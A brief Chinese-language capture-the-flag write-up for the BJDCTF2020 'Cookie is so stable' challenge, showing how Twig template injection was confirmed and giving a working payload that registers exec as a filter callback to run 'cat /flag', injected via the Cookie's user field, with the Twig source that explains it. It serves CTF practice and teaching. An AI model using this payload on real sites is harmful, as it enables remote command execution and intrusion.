一天一道ctf 第29天

鸽了好久
[BJDCTF2020]Cookie is so stable

先贴一张模板注入的经典流程图，按照流程图的注入payload对这个页面一步步试下去。

${77}没有执行成功，{{77}}执行成功输出49，{{7*‘7’}也输出49，说明是twig


网上查一下twig的模板注入payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

public function getFilter($name)
  {
    ...
    foreach ($this->filterCallbacks as $callback) {
    if (false !== $filter = call_user_func($callback, $name)) {
      return $filter;
    }
  }
  return false;
}
 
public function registerUndefinedFilterCallback($callable)
{
  $this->filterCallbacks[] = $callable;
}

通过registerUndefinedFilterCallback()注册exec为filter的回调函数加入filterCallbacks[]中，然后用getFilter()中的call_user_func()执行exec函数，参数为cat /flag。
bp抓包修改Cookie中的user得到flag。